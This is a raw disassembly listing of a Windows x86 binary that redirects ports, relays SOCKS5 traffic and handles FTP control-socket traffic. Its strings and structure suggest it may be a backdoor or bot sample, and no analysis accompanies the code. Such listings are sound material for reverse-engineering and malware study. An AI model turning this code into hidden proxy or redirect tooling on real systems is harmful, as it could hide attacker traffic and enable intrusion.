test byte ptr [esp+8], 1
jz short loc_42CB38
push esi
call sub_437AD2
; ---------------------------------------------------------------------------
add esp, 4
loc_42CB38: ; CODE XREF: ___:0042CB2Dj
mov eax, esi
pop esi
retn 4
; ---------------------------------------------------------------------------
db 2 dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_42CB50 proc near ; CODE XREF: sub_401B9Fj
jmp sub_4017A8
sub_42CB50 endp
; ---------------------------------------------------------------------------
db 0Bh dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_42CB70 proc near ; CODE XREF: sub_4019F1j
var_34 = dword ptr -34h
var_30 = dword ptr -30h
var_2C = dword ptr -2Ch
var_28 = dword ptr -28h
var_24 = dword ptr -24h
var_20 = dword ptr -20h
var_1C = byte ptr -1Ch
var_C = dword ptr -0Ch
var_4 = dword ptr -4
mov eax, large fs:0
push 0FFFFFFFFh
push offset SEH_42CB70
push eax
mov large fs:0, esp
sub esp, 28h
push ebx
push ebp
push esi
mov esi, ecx
push edi
mov eax, [esi+3Fh]
lea ebx, [esi+43h]
push eax
mov ecx, ebx
lea edi, [esi+11h]
lea ebp, [esi+26h]
call sub_4017EE
mov ecx, [esi+3Bh]
push eax
push ecx
mov ecx, edi
call sub_4017EE
push eax
push offset aSRedirectingFr ; "[%s] Redirecting from Port %d to '%s:%d"...
mov ecx, ebp
call sub_4014DD
mov dl, [esi+98h]
push eax
mov al, [esi+97h]
push edx
push eax
push offset byte_4D8075
call sub_401857
add esp, 24h
push 6
push 1
push 2
nop
call near ptr 71AB3B91h
cmp eax, 0FFFFFFFFh
mov [esi+9Dh], eax
jz loc_42CDA8
mov dx, [esi+3Bh]
xor ecx, ecx
mov [esp+44h+var_2C], ecx
push edx
mov [esp+48h+var_28], ecx
mov word ptr [esp+48h+var_2C], 2
mov [esp+48h+var_24], ecx
mov [esp+48h+var_20], ecx
call near ptr 71AB2B66h
nop
mov ecx, [esi+9Dh]
mov word ptr [esp+44h+var_2C+2], ax
lea eax, [esp+44h+var_2C]
push 10h
push eax
push ecx
mov [esp+50h+var_34], 10h
nop
call near ptr 71AB3E00h
test eax, eax
jz short loc_42CC5B
mov edx, [esi+9Dh]
push edx
nop
call near ptr 71AB9639h
pop edi
pop esi
pop ebp
pop ebx
mov ecx, [esp+34h+var_C]
mov large fs:0, ecx
add esp, 34h
retn
; ---------------------------------------------------------------------------
loc_42CC5B: ; CODE XREF: sub_42CB70+C9j
mov eax, [esi+99h]
mov cl, [eax+11Ch]
test cl, cl
jz loc_42CD54
loc_42CC6F: ; CODE XREF: sub_42CB70+1DEj
mov ecx, [esi+9Dh]
push 0Ah
push ecx
nop
call near ptr 71AB88D3h
cmp eax, 0FFFFFFFFh
jz loc_42CD35
mov ecx, [esi+9Dh]
lea edx, [esp+44h+var_34]
lea eax, [esp+44h+var_1C]
push edx
push eax
push ecx
nop
call near ptr 71AC1028h
mov ebp, eax
cmp ebp, 0FFFFFFFFh
jz loc_42CD35
xor edi, edi
cmp ebp, edi
jz loc_42CD35
push 0A9h
call sub_437AEA
; ---------------------------------------------------------------------------
add esp, 4
mov [esp+44h+var_30], eax
cmp eax, edi
mov [esp+44h+var_4], edi
jz short loc_42CCD5
mov ecx, eax
call sub_40166D
mov edi, eax
loc_42CCD5: ; CODE XREF: sub_42CB70+15Aj
mov edx, [esi+99h]
mov [edi+9Dh], esi
mov [edi+99h], edx
mov eax, [esi+3Bh]
mov [edi+3Bh], eax
mov ecx, [esi+3Fh]
mov [edi+3Fh], ecx
push ebx
lea ecx, [edi+43h]
mov [esp+48h+var_4], 0FFFFFFFFh
call sub_401FDC
lea eax, [esi+26h]
lea ecx, [edi+26h]
push eax
mov [edi+0A1h], ebp
call sub_401FDC
mov dl, [esi+97h]
mov ecx, edi
mov [edi+97h], dl
mov al, [esi+98h]
mov [edi+98h], al
call sub_4013DE
loc_42CD35: ; CODE XREF: sub_42CB70+111j
; sub_42CB70+133j ...
push 0FAh
nop
call near ptr 2831C1Ah
mov ecx, [esi+99h]
mov al, [ecx+11Ch]
test al, al
jnz loc_42CC6F
loc_42CD54: ; CODE XREF: sub_42CB70+F9j
mov eax, [esi+9Dh]
cmp eax, 0FFFFFFFFh
jz short loc_42CD66
push eax
nop
call near ptr 71AB9639h
loc_42CD66: ; CODE XREF: sub_42CB70+1EDj
mov edx, [esi+3Fh]
mov ecx, ebx
push edx
call sub_4017EE
push eax
mov eax, [esi+3Bh]
push eax
lea ecx, [esi+11h]
call sub_4017EE
push eax
push offset aSFinishedRed_0 ; "[%s] Finished redirecting from port %d "...
lea ecx, [esi+26h]
call sub_4014DD
mov cl, [esi+98h]
mov dl, [esi+97h]
push eax
push ecx
push edx
push offset byte_4D8075
call sub_401857
add esp, 24h
loc_42CDA8: ; CODE XREF: sub_42CB70+7Cj
mov ecx, [esp+44h+var_C]
pop edi
pop esi
pop ebp
pop ebx
mov large fs:0, ecx
add esp, 34h
retn
sub_42CB70 endp
; ---------------------------------------------------------------------------
db 5 dup(90h)
db 0A0h dup(0CCh)
; =============== S U B R O U T I N E =======================================
; Attributes: noreturn
sub_42CE60 proc near ; CODE XREF: sub_402202j
var_3C = byte ptr -3Ch
var_4 = dword ptr -4
push 0FFFFFFFFh
push offset SEH_42CE60
mov eax, large fs:0
push eax
mov large fs:0, esp
sub esp, 30h
push esi
push edi
push 0
push 10h
push 3
push 14h
push 4Fh
push 14h
push 3
push 5
push 12h
push 9
push 4
mov esi, ecx
push 5
lea eax, [esp+74h+var_3C]
push 12h
push eax
mov dword ptr [esi+118h], 0
call sub_4019C4
add esp, 38h
push esi
mov ecx, eax
mov [esp+48h+var_4], 0
call sub_4017EE
lea ecx, [esi+4]
push eax
push ecx
mov ecx, offset dword_449118
call sub_40159B
sub_42CE60 endp
; ---------------------------------------------------------------------------
or edi, 0FFFFFFFFh
lea ecx, [esp+8]
mov [esp+40h], edi
call sub_401226
push 0
push 5
push 12h
push 7
push 4Fh
push 14h
push 3
push 5
push 12h
push 9
push 4
push 5
lea edx, [esp+38h]
push 12h
push edx
call sub_4019C4
add esp, 38h
push esi
mov ecx, eax
mov dword ptr [esp+44h], 1
call sub_4017EE
push eax
lea eax, [esi+32h]
push eax
mov ecx, offset dword_449118
call sub_40159B
; ---------------------------------------------------------------------------
lea ecx, [esp+8]
mov [esp+40h], edi
call sub_401226
push 0
push 10h
push 14h
push 14h
push 8
push 4Fh
push 14h
push 3
push 5
push 12h
push 9
push 4
push 5
lea ecx, [esp+3Ch]
push 12h
push ecx
call sub_4019C4
add esp, 3Ch
push esi
mov ecx, eax
mov dword ptr [esp+44h], 2
call sub_4017EE
lea edx, [esi+60h]
push eax
push edx
mov ecx, offset dword_449118
call sub_40159B
; ---------------------------------------------------------------------------
lea ecx, [esp+8]
mov [esp+40h], edi
call sub_401226
push 0
push 13h
push 0Bh
push 3
push 0Fh
push 13h
push 4Fh
push 14h
push 3
push 5
push 12h
push 9
push 4
push 5
lea eax, [esp+40h]
push 12h
push eax
call sub_4019C4
add esp, 40h
push esi
mov ecx, eax
mov dword ptr [esp+44h], 3
call sub_4017EE
lea ecx, [esi+8Eh]
push eax
push ecx
mov ecx, offset dword_449118
call sub_40159B
; ---------------------------------------------------------------------------
lea ecx, [esp+8]
mov [esp+40h], edi
call sub_401226
push 0
push 49h
push 13h
push 0Bh
push 3
push 0Fh
push 13h
push 4Fh
push 14h
push 3
push 5
push 12h
push 9
push 4
push 5
lea edx, [esp+44h]
push 12h
push edx
call sub_4019C4
add esp, 44h
push esi
mov ecx, eax
mov dword ptr [esp+44h], 4
call sub_4017EE
push eax
lea eax, [esi+0BCh]
push eax
mov ecx, offset dword_449118
call sub_40159B
; ---------------------------------------------------------------------------
lea ecx, [esp+8]
mov [esp+40h], edi
call sub_401226
push 0
push 10h
push 0Fh
push 14h
push 13h
push 4Fh
push 14h
push 3
push 5
push 12h
push 9
push 4
push 5
lea ecx, [esp+54h]
push 12h
push ecx
call sub_4019C4
add esp, 3Ch
push esi
mov ecx, eax
mov dword ptr [esp+44h], 5
call sub_4017EE
add esi, 0EAh
push eax
push esi
mov ecx, offset dword_449118
call sub_40159B
; ---------------------------------------------------------------------------
lea ecx, [esp+20h]
mov [esp+40h], edi
call sub_401226
mov ecx, [esp+38h]
pop edi
pop esi
mov large fs:0, ecx
add esp, 3Ch
retn
; ---------------------------------------------------------------------------
db 0Dh dup(90h)
db 0A0h dup(0CCh)
; ---------------------------------------------------------------------------
loc_42D150: ; CODE XREF: ___:loc_40204Aj
mov eax, large fs:0
push 0FFFFFFFFh
push offset loc_43D0B4
push eax
mov large fs:0, esp
sub esp, 68h
push ebx
push ebp
push esi
mov esi, [esp+84h]
mov ebp, ecx
push edi
lea edi, [esi+7Eh]
lea ecx, [ebp+4]
call sub_4017EE
push eax
mov ecx, edi
call sub_4012EE
or ebx, 0FFFFFFFFh
test eax, eax
jnz loc_42D2B7
push 0A1h
call sub_437AEA
; ---------------------------------------------------------------------------
db 83h, 0C4h, 4
dd 88248489h, 33000000h, 89C73BFFh, 8024BCh, 9740000h
dd 0ADE8C88Bh, 8BFFFD44h, 460068F8h, 448D0044h, 16A4C24h
dd 11C85C6h, 50010000h, 9C89CE8Bh, 8C24h, 99AF8900h, 0E8000000h
dd 0FFFD44D4h, 84C7C88Bh, 8024h, 100h, 45F8E800h, 9050FFFDh
dd 7EED1BE8h, 4C48377h, 48244C8Dh, 893B4789h, 80249Ch
dd 13E80000h, 68FFFD40h, 444600h, 4C244C8Dh, 8B51026Ah
dd 4492E8CEh, 8D50FFFDh, 84C7434Fh, 8424h, 200h, 4DA2E800h
dd 4C8DFFFDh, 9C894824h, 8024h, 3FDCE800h, 68FFFDh, 8D004446h
dd 6A4C2454h, 0CE8B5203h, 0FD445BE8h, 0C7C88BFFh, 802484h
dd 30000h, 7FE80000h, 50FFFD45h, 0ECA2E890h, 0C483777Eh
dd 244C8D04h, 3F478948h, 80249C89h, 0E8000000h, 0FFFD3F9Ah
dd 8D69468Dh, 0E850264Fh, 0FFFD4D44h, 938E8Ah, 8F880000h
dd 97h, 94968Ah, 0CF8B0000h, 989788h, 27E80000h
db 41h, 0FDh, 0FFh
; ---------------------------------------------------------------------------
loc_42D2B7: ; CODE XREF: ___:0042D18Dj
lea ecx, [ebp+32h]
call sub_4017EE
push eax
lea ecx, [esi+7Eh]
call sub_4012EE
test eax, eax
jnz loc_42D3E7
push 9Dh
call sub_437AEA
; ---------------------------------------------------------------------------
add esp, 4
mov [esp+88h], eax
test eax, eax
mov dword ptr [esp+80h], 4
jz short loc_42D2FE
mov ecx, eax
call sub_401898
mov edi, eax
jmp short loc_42D300
; ---------------------------------------------------------------------------
loc_42D2FE: ; CODE XREF: ___:0042D2F1j
xor edi, edi
loc_42D300: ; CODE XREF: ___:0042D2FCj
push offset asc_444600 ; " "
lea eax, [esp+4Ch]
push 1
mov byte ptr [ebp+11Ch], 1
push eax
mov ecx, esi
mov [esp+8Ch], ebx
mov [edi+99h], ebp
call sub_4016B8
push eax
lea ecx, [edi+58h]
mov dword ptr [esp+84h], 5
call sub_401FDC
lea ecx, [esp+48h]
mov [esp+80h], ebx
call sub_401226
push offset asc_444600 ; " "
lea ecx, [esp+4Ch]
push 2
push ecx
mov ecx, esi
call sub_4016B8
push eax
lea ecx, [edi+6Dh]
mov dword ptr [esp+84h], 6
call sub_401FDC
lea ecx, [esp+48h]
mov [esp+80h], ebx
call sub_401226
push offset asc_444600 ; " "
lea edx, [esp+4Ch]
push 3
push edx
mov ecx, esi
call sub_4016B8
push eax
lea ecx, [edi+82h]
mov dword ptr [esp+84h], 7
call sub_401FDC
lea ecx, [esp+48h]
mov [esp+80h], ebx
call sub_401226
lea eax, [esi+69h]
lea ecx, [edi+26h]
push eax
call sub_401FDC
mov cl, [esi+93h]
mov [edi+97h], cl
mov dl, [esi+94h]
mov ecx, edi
mov [edi+98h], dl
call sub_4013DE
loc_42D3E7: ; CODE XREF: ___:0042D2CAj
lea ecx, [ebp+60h]
call sub_4017EE
push eax
lea ecx, [esi+7Eh]
call sub_4012EE
test eax, eax
jnz loc_42D510
push 0A2h
call sub_437AEA
; ---------------------------------------------------------------------------
add esp, 4
mov [esp+88h], eax
test eax, eax
mov dword ptr [esp+80h], 8
jz short loc_42D42E
mov ecx, eax
call sub_4018ED
mov edi, eax
jmp short loc_42D430
; ---------------------------------------------------------------------------
loc_42D42E: ; CODE XREF: ___:0042D421j
xor edi, edi
loc_42D430: ; CODE XREF: ___:0042D42Cj
push offset asc_444600 ; " "
lea eax, [esp+4Ch]
push 1
mov byte ptr [ebp+11Ch], 1
push eax
mov ecx, esi
mov [esp+8Ch], ebx
mov [edi+99h], ebp
call sub_4016B8
mov ecx, eax
mov dword ptr [esp+80h], 9
call sub_4017EE
push eax
call near ptr 77C1BF18h
nop
add esp, 4
lea ecx, [esp+48h]
mov [edi+3Bh], eax
mov [esp+80h], ebx
call sub_401226
push offset asc_444600 ; " "
lea ecx, [esp+4Ch]
push 2
push ecx
mov ecx, esi
call sub_4016B8
push offset aTrue ; "true"
mov ecx, eax
mov dword ptr [esp+84h], 0Ah
call sub_40150A
test eax, eax
lea ecx, [esp+48h]
mov [esp+80h], ebx
setz byte ptr [esp+88h]
call sub_401226
mov al, [esp+88h]
test al, al
jz short loc_42D4DE
mov byte ptr [edi+9Dh], 1
jmp short loc_42D4E5
; ---------------------------------------------------------------------------
loc_42D4DE: ; CODE XREF: ___:0042D4D3j
mov byte ptr [edi+9Dh], 0
loc_42D4E5: ; CODE XREF: ___:0042D4DCj
lea edx, [esi+69h]
lea ecx, [edi+26h]
push edx
call sub_401FDC
mov al, [esi+93h]
mov [edi+97h], al
mov cl, [esi+94h]
mov [edi+98h], cl
mov ecx, edi
call sub_4013DE
loc_42D510: ; CODE XREF: ___:0042D3FAj
lea ecx, [ebp+8Eh]
call sub_4017EE
push eax
lea ecx, [esi+7Eh]
call sub_4012EE
test eax, eax
jnz loc_42D5DD
push 0A1h
call sub_437AEA
; ---------------------------------------------------------------------------
add esp, 4
mov [esp+88h], eax
test eax, eax
mov dword ptr [esp+80h], 0Bh
jz short loc_42D55A
mov ecx, eax
call sub_40218A
mov edi, eax
jmp short loc_42D55C
; ---------------------------------------------------------------------------
loc_42D55A: ; CODE XREF: ___:0042D54Dj
xor edi, edi
loc_42D55C: ; CODE XREF: ___:0042D558j
push offset asc_444600 ; " "
lea edx, [esp+4Ch]
push 1
mov byte ptr [ebp+11Ch], 1
push edx
mov ecx, esi
mov [esp+8Ch], ebx
mov [edi+99h], ebp
call sub_4016B8
mov ecx, eax
mov dword ptr [esp+80h], 0Ch
call sub_4017EE
push eax
call near ptr 77C1BF18h
nop
add esp, 4
lea ecx, [esp+48h]
mov [edi+3Bh], eax
mov [esp+80h], ebx
call sub_401226
lea eax, [esi+69h]
lea ecx, [edi+26h]
push eax
call sub_401FDC
mov cl, [esi+93h]
mov [edi+97h], cl
mov dl, [esi+94h]
mov ecx, edi
mov [edi+98h], dl
call sub_4013DE
loc_42D5DD: ; CODE XREF: ___:0042D526j
lea ecx, [ebp+0BCh]
call sub_4014DD
lea edi, [esi+7Eh]
push eax
mov ecx, edi
mov [esp+8Ch], edi
call sub_4012EE
test eax, eax
jnz loc_42D809
lea ecx, [esp+30h]
call sub_40142E
lea ecx, [esp+18h]
mov dword ptr [esp+80h], 0Dh
call sub_40142E
push offset asc_444600 ; " "
lea eax, [esp+4Ch]
push 2
push eax
mov ecx, esi
mov byte ptr [esp+8Ch], 0Eh
call sub_4016B8
mov ecx, eax
mov byte ptr [esp+80h], 0Fh
call sub_4017EE
push eax
lea ecx, [esp+34h]
call sub_401A9B
lea ecx, [esp+48h]
mov byte ptr [esp+80h], 0Eh
call sub_401226
push offset asc_444600 ; " "
lea ecx, [esp+4Ch]
push 3
push ecx
mov ecx, esi
call sub_4016B8
mov ecx, eax
mov byte ptr [esp+80h], 10h
call sub_4017EE
push eax
lea ecx, [esp+1Ch]
call sub_401A9B
lea ecx, [esp+48h]
mov byte ptr [esp+80h], 0Eh
call sub_401226
lea ecx, [esp+30h]
call sub_4014DD
cmp eax, offset byte_448F30
jnz short loc_42D6BF
push offset aRoot ; "root"
lea ecx, [esp+1Ch]
call sub_401A9B
loc_42D6BF: ; CODE XREF: ___:0042D6AFj
lea ecx, [esp+18h]
call sub_4014DD
cmp eax, offset byte_448F30
jnz short loc_42D6DD
push offset byte_448F30
lea ecx, [esp+1Ch]
call sub_401A9B
loc_42D6DD: ; CODE XREF: ___:0042D6CDj
push offset asc_444600 ; " "
lea edx, [esp+4Ch]
push 1
push edx
mov ecx, esi
call sub_4016B8
mov edi, eax
lea ecx, [esp+18h]
mov byte ptr [esp+80h], 11h
call sub_4017EE
push eax
lea ecx, [esp+34h]
call sub_4017EE
push eax
mov ecx, edi
call sub_4017EE
mov edi, dword_511B14
push eax
call edi ; atoi
add esp, 4
lea ecx, [esi+69h]
push eax
push offset aSocks5Starting ; "[Socks5] Starting Redirect [Port %d :: "...
call sub_4014DD
mov cl, [esi+93h]
push eax
mov al, [esi+94h]
push eax
push ecx
push offset byte_4D8075
call sub_401857
add esp, 20h
lea ecx, [esp+48h]
mov byte ptr [esp+80h], 0Eh
call sub_401226
lea ecx, [esp+18h]
call sub_4017EE
sub esp, 18h
mov ecx, esp
mov [esp+28h], esp
push eax
call sub_401870
lea ecx, [esp+48h]
mov byte ptr [esp+98h], 12h
call sub_4017EE
sub esp, 18h
mov ecx, esp
mov [esp+44h], esp
push eax
call sub_401870
push offset asc_444600 ; " "
lea edx, [esp+94h]
push 1
push edx
mov ecx, esi
mov byte ptr [esp+0BCh], 13h
call sub_4016B8
mov ecx, eax
mov byte ptr [esp+0B0h], 15h
call sub_4017EE
push eax
call edi ; atoi
add esp, 4
push eax
call sub_401C2B
add esp, 34h
lea ecx, [esp+60h]
mov byte ptr [esp+80h], 0Eh
call sub_401226
lea ecx, [esp+18h]
mov byte ptr [esp+80h], 0Dh
call sub_401226
lea ecx, [esp+30h]
mov [esp+80h], ebx
call sub_401226
mov edi, [esp+88h]
loc_42D809: ; CODE XREF: ___:0042D5FCj
lea ecx, [ebp+0EAh]
call sub_4017EE
push eax
mov ecx, edi
call sub_4012EE
test eax, eax
jnz short loc_42D826
mov [ebp+11Ch], al
loc_42D826: ; CODE XREF: ___:0042D81Ej
mov ecx, [esp+78h]
pop edi
pop esi
pop ebp
mov al, 1
mov large fs:0, ecx
pop ebx
add esp, 74h
retn 4
; ---------------------------------------------------------------------------
db 3 dup(90h)
db 1C0h dup(0CCh)
; ---------------------------------------------------------------------------
loc_42DA00: ; CODE XREF: ___:004021CBj
push ecx
mov edx, dword_449A4D
push esi
mov esi, ecx
mov eax, [esi+99h]
mov ecx, [eax+118h]
cmp edx, ecx
jl short loc_42DA21
inc ecx
mov [eax+118h], ecx
loc_42DA21: ; CODE XREF: ___:0042DA18j
mov eax, [esi]
mov ecx, esi
call dword ptr [eax+8]
mov eax, [esi+99h]
mov [esp+4], esi
mov ecx, [eax+118h]
dec ecx
mov [eax+118h], ecx
lea ecx, [esp+4]
push ecx
mov ecx, offset byte_4E8E9B
call sub_40120D
; ---------------------------------------------------------------------------
xor eax, eax
pop esi
pop ecx
retn
; ---------------------------------------------------------------------------
db 0Dh dup(90h)
db 20h dup(0CCh)
; =============== S U B R O U T I N E =======================================
; Attributes: noreturn
sub_42DA80 proc near ; CODE XREF: sub_401E1Fj
var_190 = byte ptr -190h
sub esp, 190h
lea eax, [esp+190h+var_190]
push eax
push 101h
call sub_438244
sub_42DA80 endp
; ---------------------------------------------------------------------------
db 85h, 0C0h, 74h
dd 900D8B19h, 5000511Ah, 6840C183h, 4473C8h, 64E89051h
dd 83778133h, 0C4810CC4h, 190h, 909090C3h, 90909090h, 4 dup(0CCCCCCCCh)
; ---------------------------------------------------------------------------
loc_42DAD0: ; CODE XREF: ___:00401D8Ej
mov eax, [esp+4]
test eax, eax
jz short loc_42DAE3
mov ecx, [eax+18h]
test ecx, ecx
jnz short loc_42DAE3
add eax, 44h
retn
; ---------------------------------------------------------------------------
loc_42DAE3: ; CODE XREF: ___:0042DAD6j
; ___:0042DADDj
xor eax, eax
retn
; ---------------------------------------------------------------------------
db 0Ah dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
; Attributes: noreturn
sub_42DB00 proc near ; CODE XREF: sub_401A7Dj
var_14 = dword ptr -14h
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 4
arg_12 = word ptr 16h
sub esp, 14h
mov ecx, [esp+14h+arg_0]
xor eax, eax
mov [esp+14h+var_10], eax
push ebx
push ebp
mov [esp+1Ch+var_C], eax
push esi
push edi
mov [esp+24h+var_8], eax
push ecx
mov [esp+28h+var_14], 1
mov [esp+28h+var_4], eax
mov word ptr [esp+28h+var_10], 2
nop
call near ptr 77C46125h
mov ebp, eax
push 3Ah
push ebp
call near ptr 77C47660h
nop
mov esi, eax
xor ebx, ebx
add esp, 0Ch
cmp esi, ebx
jnz short loc_42DB74
push offset aTcp ; "tcp"
push offset aFtp ; "ftp"
call sub_43828C
; ---------------------------------------------------------------------------
dd 6C75C33Bh, 44741C68h, 8BE89000h, 83778092h, 0C03304C4h
dd 5B5D5E5Fh, 0C314C483h
; ---------------------------------------------------------------------------
loc_42DB74: ; CODE XREF: sub_42DB00+47j
mov [esi], bl
mov eax, dword_511A7C
inc esi
cmp dword ptr [eax], 1
jle short loc_42DB92
movsx ecx, byte ptr [esi]
push 4
push ecx
call near ptr 77C1C561h
nop
add esp, 8
jmp short loc_42DBA2
; ---------------------------------------------------------------------------
loc_42DB92: ; CODE XREF: sub_42DB00+7Fj
mov eax, dword_511B1C
movsx edx, byte ptr [esi]
mov ecx, [eax]
mov al, [ecx+edx*2]
and eax, 4
loc_42DBA2: ; CODE XREF: sub_42DB00+90j
cmp eax, ebx
jz short loc_42DBBD
push esi
nop
call near ptr 77C1BF18h
add esp, 4
push eax
call sub_43822C
; ---------------------------------------------------------------------------
mov [esp+arg_12], ax
jmp short sub_42DBD1
; ---------------------------------------------------------------------------
loc_42DBBD: ; CODE XREF: sub_42DB00+A4j
push offset aTcp ; "tcp"
push esi
call sub_43828C
sub_42DB00 endp
; ---------------------------------------------------------------------------
mov dx, [eax+8]
mov [esp+16h], dx
; =============== S U B R O U T I N E =======================================
; Attributes: noreturn
sub_42DBD1 proc near ; CODE XREF: sub_42DB00+BBj
push ebp
call sub_4381EA
sub_42DBD1 endp
; ---------------------------------------------------------------------------
cmp eax, 0FFFFFFFFh
mov [esp+18h], eax
jnz short loc_42DC1D
push ebp
call sub_4381DE
; ---------------------------------------------------------------------------
dw 0C33Bh
dd 0C681875h, 0E8004474h, 778091FEh, 4C48390h, 5E5FC033h
dd 0C4835B5Dh, 0BF0FC314h, 408B0A48h, 8DD18B0Ch, 8B18247Ch
dd 2E9C130h, 0CA8BA5F3h, 0F303E183h
; ---------------------------------------------------------------------------
movsb
loc_42DC1D: ; CODE XREF: ___:0042DBDEj
push ebp
mov ebp, dword_511AD0
call ebp ; free
add esp, 4
push 6
push 1
push 2
call sub_438232
; ---------------------------------------------------------------------------
dd 0FF83F88Bh, 681875FFh, 447404h, 91ACE890h, 0C4837780h
dd 5FC03304h, 835B5D5Eh, 8DC314C4h, 6A102444h, 46A5004h
dd 0FFFF68h, 13E85700h, 830000A6h, 775FFF8h, 4473F468h
dd 8D34EB00h, 6A14244Ch, 0E8575110h, 0A5B8h, 75FFF883h
dd 71F46807h, 1BEB0044h, 14468h, 90016A00h, 7FE42AE8h
dd 83F08B77h, 0F33B08C4h, 0EC681E75h, 90004473h, 809145E8h
dd 4C48377h, 0A546E857h, 5E5F0000h, 5BC0335Dh, 0C314C483h
dd 200068h, 0E73DE800h, 8390777Fh, 0C33B04C4h, 75144689h
dd 73EC6824h, 0E8900044h, 77809112h, 5704C483h, 0A513E8h
dd 0D5FF5600h, 3304C483h, 5D5E5FC0h, 14C4835Bh, 326A56C3h
dd 89087E89h, 5E89185Eh, 2446C71Ch, 1, 89305E89h, 5E892C5Eh
dd 345E8928h, 89385E89h, 5E89405Eh, 0DAE83Ch, 0C4830000h
dd 75C08508h, 0C9E8571Ch, 8B0000A4h, 0FF521456h, 0D5FF56D5h
dd 3308C483h, 5D5E5FC0h, 14C4835Bh, 24448BC3h, 30895F2Ch
dd 1B85D5Eh, 5B000000h, 0C314C483h, 90909090h, 28h dup(0CCCCCCCCh)
; =============== S U B R O U T I N E =======================================
sub_42DE00 proc near ; CODE XREF: ___:0042E556p
; sub_42F2C0+70p
var_8 = byte ptr -8
var_5 = byte ptr -5
var_4 = byte ptr -4
arg_0 = byte ptr 4
arg_4 = dword ptr 8
sub esp, 8
push ebx
push ebp
push esi
push edi
mov edi, [esp+18h+arg_4]
push edi
push 100h
lea esi, [edi+44h]
push esi
call sub_42DF40
add esp, 0Ch
cmp eax, 0FFFFFFFFh
jnz short loc_42DE3A
loc_42DE22: ; CODE XREF: sub_42DE00+8Ej
; sub_42DE00+D9j
push offset aControlSocketR ; "Control socket read failed"
call near ptr 77C36DF2h
nop
add esp, 4
xor eax, eax
pop edi
pop esi
pop ebp
pop ebx
add esp, 8
retn
; ---------------------------------------------------------------------------
loc_42DE3A: ; CODE XREF: sub_42DE00+20j
mov eax, dword_5103A8
mov ebx, dword_511A8C
cmp eax, 1
jle short loc_42DE5E
mov eax, dword_511A90
push esi
add eax, 40h
push offset aS ; "%s"
push eax
call ebx ; fprintf
add esp, 0Ch
loc_42DE5E: ; CODE XREF: sub_42DE00+48j
cmp byte ptr [edi+47h], 2Dh
jnz short loc_42DEDE
push 3
lea ecx, [esp+1Ch+var_8]
push esi
push ecx
call near ptr 77C47A90h
nop
push edi
push 100h
push esi
mov [esp+30h+var_5], 20h
mov [esp+30h+var_4], 0
call sub_42DF40
add esp, 18h
cmp eax, 0FFFFFFFFh
jz short loc_42DE22
mov ebp, dword_511AE0
loc_42DE96: ; CODE XREF: sub_42DE00+D7j
cmp dword_5103A8, 1
jle short loc_42DEB4
mov edx, dword_511A90
push esi
add edx, 40h
push offset aS ; "%s"
push edx
call ebx ; fprintf
add esp, 0Ch
loc_42DEB4: ; CODE XREF: sub_42DE00+9Dj
lea eax, [esp+18h+var_8]
push 4
push eax
push esi
call ebp ; strncmp
add esp, 0Ch
test eax, eax
jz short loc_42DEDE
push edi
push 100h
push esi
call sub_42DF40
add esp, 0Ch
cmp eax, 0FFFFFFFFh
jnz short loc_42DE96
jmp loc_42DE22
; ---------------------------------------------------------------------------
loc_42DEDE: ; CODE XREF: sub_42DE00+62j
; sub_42DE00+C3j
mov cl, [esi]
mov dl, [esp+18h+arg_0]
xor eax, eax
pop edi
cmp cl, dl
pop esi
pop ebp
pop ebx
setz al
add esp, 8
retn
sub_42DE00 endp
; ---------------------------------------------------------------------------
db 0Dh dup(90h)
db 40h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_42DF40 proc near ; CODE XREF: sub_42DE00+15p
; sub_42DE00+83p ...
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 4
arg_4 = dword ptr 8
arg_8 = dword ptr 0Ch
sub esp, 8
push ebx
push ebp
mov ebp, [esp+10h+arg_0]
push esi
mov esi, [esp+14h+arg_8]
xor ecx, ecx
push edi
mov [esp+18h+var_8], ecx
mov eax, [esi+18h]
mov [esp+18h+var_4], ecx
cmp eax, ecx
jz short loc_42DF70
cmp eax, 1
jz short loc_42DF70
pop edi
pop esi
pop ebp
or eax, 0FFFFFFFFh
pop ebx
add esp, 8
retn
; ---------------------------------------------------------------------------
loc_42DF70: ; CODE XREF: sub_42DF40+1Ej
; sub_42DF40+23j
mov ebx, [esp+18h+arg_4]
cmp ebx, ecx
jnz short loc_42DF82
pop edi
pop esi
pop ebp
xor eax, eax
pop ebx
add esp, 8
retn
; ---------------------------------------------------------------------------
loc_42DF82: ; CODE XREF: sub_42DF40+36j
; sub_42DF40+115j
mov edi, [esi+0Ch]
test edi, edi
jle short loc_42DFD3
cmp ebx, edi
jge short loc_42DF90
lea edi, [ebx-1]
loc_42DF90: ; CODE XREF: sub_42DF40+4Bj
mov eax, [esi+4]
push edi
push 0Ah
push eax
push ebp
nop
call near ptr 77C46170h
add esp, 10h
test eax, eax
jz short loc_42DFA9
mov edi, eax
sub edi, ebp
loc_42DFA9: ; CODE XREF: sub_42DF40+63j
mov edx, [esp+18h+var_8]
add ebp, edi
add edx, edi
sub ebx, edi
mov [esp+18h+var_8], edx
mov byte ptr [ebp+0], 0
mov ecx, [esi+4]
mov edx, [esi+0Ch]
add ecx, edi
sub edx, edi
test eax, eax
mov [esi+4], ecx
mov [esi+0Ch], edx
jnz loc_42E05A
loc_42DFD3: ; CODE XREF: sub_42DF40+47j
cmp ebx, 1
jz loc_42E0AD
mov ecx, [esi]
mov eax, [esi+4]
cmp ecx, eax
jnz short loc_42DFFB
mov eax, [esi+14h]
mov dword ptr [esi+0Ch], 0
mov [esi+4], eax
mov [esi], eax
mov dword ptr [esi+10h], 2000h
loc_42DFFB: ; CODE XREF: sub_42DF40+A3j
mov eax, [esp+18h+var_4]
test eax, eax
jnz loc_42E0C0
push esi
call sub_42E170
add esp, 4
test eax, eax
jz loc_42E0F2
mov edx, [esi+10h]
mov eax, [esi]
mov ecx, [esi+8]
push 0
push edx
push eax
push ecx
call sub_4381F0
; ---------------------------------------------------------------------------
cmp eax, 0FFFFFFFFh
jz loc_42E0DC
test eax, eax
jnz short loc_42E03F
mov [esp+18h+var_4], 1
loc_42E03F: ; CODE XREF: sub_42DF40+F5j
